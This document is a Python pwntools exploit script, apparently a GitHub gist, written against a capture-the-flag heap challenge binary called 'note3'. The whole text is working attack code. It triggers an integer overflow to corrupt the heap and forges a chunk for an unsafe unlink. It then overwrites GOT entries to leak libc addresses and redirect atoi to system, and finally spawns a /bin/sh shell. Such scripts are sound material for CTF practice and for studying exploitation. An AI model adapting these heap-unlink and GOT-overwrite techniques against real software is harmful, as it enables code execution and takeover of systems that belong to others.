#!/usr/bin/env python | |
# coding=utf8 | |
from pwn import p64, u64, process, ELF | |
elf = ELF('/lib64/libc.so.6') | |
# elf = ELF('./libc-2.19.so') | |
p = process('./note3') | |
free_got = 0x602018 | |
atoi_got = 0x602070 | |
puts_plt = 0x400730 | |
system_offset_to_atoi = elf.symbols['system'] - elf.symbols['atoi'] | |
def add_note(size, content): | |
p.sendline('1') | |
p.sendline(str(size)) | |
p.sendline(content) | |
def edit_note(index, content): | |
p.sendline('3') | |
p.sendline(str(index)) | |
p.sendline(content) | |
def delete_note(index): | |
p.sendline('4') | |
p.sendline(str(index)) | |
if __name__ == '__main__': | |
for _ in range(7): | |
# add note0 ... note6 | |
add_note(0x80, '') | |
# make note3 active | |
edit_note(3, '') | |
note3_ptr = 0x6020c8 + 3 * 8 | |
# prepare fake previous chunk and overflow to note4 chunk | |
payload = p64(0) # size | |
payload += p64(0x80 + 1) # prev_size | |
payload += p64(note3_ptr - 3 * 8) # FD (note3_ptr - 3*8 = note0_ptr) | |
payload += p64(note3_ptr - 2 * 8) # BK | |
payload += 'A' * (0x80 - 4*8) # junk | |
payload += p64(0x80) # note4_chunk_pre_size | |
payload += p64(0x80 + 2 * 8) # note4_chunk_size | |
# integer overflow | |
edit_note(-0x8000000000000000, payload) | |
# delete note4 and unlink fake chunk | |
delete_note(4) | |
# now note3_ptr = note0_ptr | |
# modify note0_ptr to free_got and note1_ptr, note2_ptr to atoi_got | |
edit_note(3, p64(free_got) + p64(atoi_got) + p64(atoi_got)[:-1]) | |
edit_note(0, p64(puts_plt)[:-1]) | |
p.clean() | |
delete_note(1) # leak atoi | |
p.recvuntil('Input the id of the note:\n') | |
atoi_addr = u64(p.recv(6).ljust(8, '\x00')) | |
system_addr = atoi_addr + system_offset_to_atoi | |
print '[*] system_addr: 0x%x' % system_addr | |
# modify note2_ptr(atoi_got) to system_addr | |
edit_note(2, p64(system_addr)[:-1]) | |
# trigger atoi(now system) | |
p.sendline('/bin/sh') | |
p.clean() | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment